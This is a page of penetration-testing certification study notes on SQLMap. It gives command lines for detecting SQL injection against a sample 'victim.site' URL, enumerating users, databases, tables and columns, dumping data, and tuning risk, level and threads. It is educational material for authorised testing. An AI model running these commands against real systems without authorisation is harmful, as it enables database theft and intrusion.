eCPPTv2-PTP-Notes
HomeGitHubPortfolioTwitter/XMediumCont@ct
  • 📝eCPPTv2 / PTP - Notes
  • 1️⃣1 - ​System Security
    • 1.1 Architecture Foundamentals
    • 1.2 Assemblers and Tools
    • 1.3 Buffer Overflow
    • 1.4 Cryptography
    • 1.5 Malware
    • 1.6 Shellcoding
  • 2️⃣2 - Network Security
    • 2.1 System/Host Based Attacks
      • 2.1.1 Windows Vulnerabilities
    • 2.2 Network Based Attacks
    • 2.3 The Metasploit Framework (MSF)
      • MSF Introduction
      • Information Gathering & Enumeration
      • Vulnerability Scanning
      • Client-Side Attacks
      • Post Exploitation
      • Armitage
    • 2.4 Exploitation
    • 2.5 - Post Expolitation / Pivoting
      • 2.5.1 Pivoting Guidelines
      • 2.5.2 Pivoting Example (3 Targets)
    • 2.6 Social Engineering
  • 3️⃣3 - PowerShell for PT
    • 3.1 PowerShell
  • 4️⃣4 - Linux Exploitation
    • 4.1 Linux Vulnerabilities
    • 4.2 Linux Exploitation
    • 4.3 Linux Post-Exploitation
    • 4.4 Linux Privilege Escalation
      • 4.4.1 Kernel Exploitation
      • 4.4.2 SUID Exploitation
      • 4.4.3 CronJobs
  • 5️⃣5 - Web App Security
    • 5.1 - Web App Concepts
      • 5.1.1 HTTP/S Protocol
      • 5.1.2 Encoding
      • 5.1.3 Same Origin
      • 5.1.4 Cookies
      • 5.1.5 Session
      • 5.1.6 Web App Proxies
    • 5.2 - Information Gathering
      • 5.2.1 Gathering Information on Your Targets
      • 5.2.2 Infrastructure
      • 5.2.3 Fingerprinting Frameworks and Applications
      • 5.2.4 Fingerprinting Custom Applications
      • 5.2.5 Enumerating Resources
      • 5.2.6 Information Disclosure Through Misconfiguration
      • 5.2.7 Google Hacking
      • 5.2.8 Shodan HQ
    • 5.3 - Cross Site Scripting
      • 5.3.1 XSS Anatomy
      • 5.3.2 Reflected XSS
      • 5.3.3 Stored XSS
      • 5.3.4 DOM-Based XSS
      • 5.3.5 Identifying & Exploiting XSS with XSSer
    • 5.4 - SQL Injection
      • 5.4.1 Introduction to SQL Injection
      • 5.4.2 Finding SQL Injection
      • 5.4.3 Exploiting In-Band SQL Injection
      • 5.4.4 Exploiting Error-Based SQL Injection
      • 5.4.5 Exploiting Blind SQL Injection
      • 5.4.6 SQLMap
      • 5.4.7 Mitigation Strategies
      • 5.4.8 From SQLi to Server Takeover
    • 5.5 - Other Common Web Attacks
      • 5.5.1 Session Attacks
      • 5.5.2 CSRF
  • 6️⃣6 - ​Wi-Fi Security
    • 6.1 Traffic Analysis
  • 7️⃣7 - ​Metasploit & Ruby
    • 7.1 Metasploit
  • 📄Report
    • How to write a PT Report
  • 🛣️RoadMap & My Experience
  • 📔eCPPT Cheat Sheet
Powered by GitBook
On this page
  • SQLMap
  • Basic Syntax
  • Extracting Information
  • SQLMap Advanced Usage
  • BurpSuite & SQLMap
  1. 5 - Web App Security
  2. 5.4 - SQL Injection

5.4.6 SQLMap

SQLMap

SQLMap is a powerful open-source penetration testing tool designed to automate the process of detecting and exploiting SQL injection flaws in web applications. It simplifies the identification and exploitation of SQL vulnerabilities, making it a widely used tool in the field of penetration testing.

Basic Syntax

  • Detecting SQL Injection: To use SQLMap, provide the tool with the vulnerable URL and the parameter to test for SQL injection. For example:

    $ sqlmap -u "http://victim.site/view.php?id=1141" -p id --technique=U

    This command tells SQLMap to test the id parameter of a GET request for view.php using a Union-based SQL injection technique.

  • Handling POST Parameters: If the injection involves a POST parameter, the syntax would be:

    $ sqlmap -u <URL> --data=<POST string> -p parameter [options]

    You can write the POST string manually or copy it from a request intercepted with Burp Proxy.

  • Using Request Files: Save a request intercepted with Burp Proxy to a file and specify it on the command line:

    $ sqlmap -r <request file> -p parameter [options]

Extracting Information

  • Database Banner: The --banner switch helps in grabbing the database banner to test injection and include proof of exploitability in reports:

    $ sqlmap -u <target> --banner <other options>
  • Information Gathering:

    • List users of the database:

      $ sqlmap -u <target> --users <other options>
    • Check if the web application database user is a database administrator:

      $ sqlmap -u <target> --is-dba <other options>
  • Database and Schema Extraction:

    • List all available databases:

      $ sqlmap -u <target> --dbs <other options>
    • Choose a database and list its tables:

      $ sqlmap -u <target> -D <database> --tables <other options>
    • Choose tables and list their columns:

      $ sqlmap -u <target> -D <database> -T <tables, comma separated list> --columns <other options>
    • Dump specific columns:

      $ sqlmap -u <target> -D <database> -T <tables> -C <columns list> --dump <other options>

SQLMap Advanced Usage

  • Forcing the DBMS: Specify the DBMS to help shorten the detection phase:

    $ sqlmap --dbms=<DBMS> ...

    Available DBMS options include MySQL, Oracle, PostgreSQL, Microsoft SQL Server, and more.

  • Fine-Tuning Payloads: Use --string and --not-string to handle changes in application output. For example:

    $ sqlmap -u 'http://localhost/ecommerce.php?id=1' --string "nokia" <other switches>

    Utilize --prefix and --suffix for structured POST parameters.

  • Aggressiveness and Load:

    • Use --level to test headers and increase the number of columns tested for in-band exploitation.

    • Use --risk to adjust the aggressiveness of injections. Higher risk levels enable more dangerous injections.

  • Connection Management:

    • Use --keep-alive for persistent connections:

      $ sqlmap -u <target> --keep-alive <other commands>
    • Use --threads to exploit injections with parallel threads:

      $ sqlmap -u <target> --technique=8 --threads 7 <other commands>

  • SQL Injections are powerful but can be destructive; hence, ethical hacking requires careful consideration.

  • Understanding the tools and their options is crucial for successful and responsible penetration testing.

  • SQLMap provides advanced command-line switches for fine-tuning and optimizing the exploitation process.

  • Always exercise caution to avoid damaging the client's infrastructure and follow ethical hacking practices.

BurpSuite & SQLMap

A great way to find out if a SQLi vulnerability is present is to use a web proxy such as BurpSuite, capture the traffic, and save the captured file locally (.xml).

We will then open that file with SQLMap and check for vulnerabilities or not.

sqlmap -r sql_request_captured.xml 
Previous5.4.5 Exploiting Blind SQL InjectionNext5.4.7 Mitigation Strategies

Last updated 1 year ago

5️⃣
SQLMaphttps://www.kali.org/tools/sqlmap/ https://tryhackme.com/room/sqlmap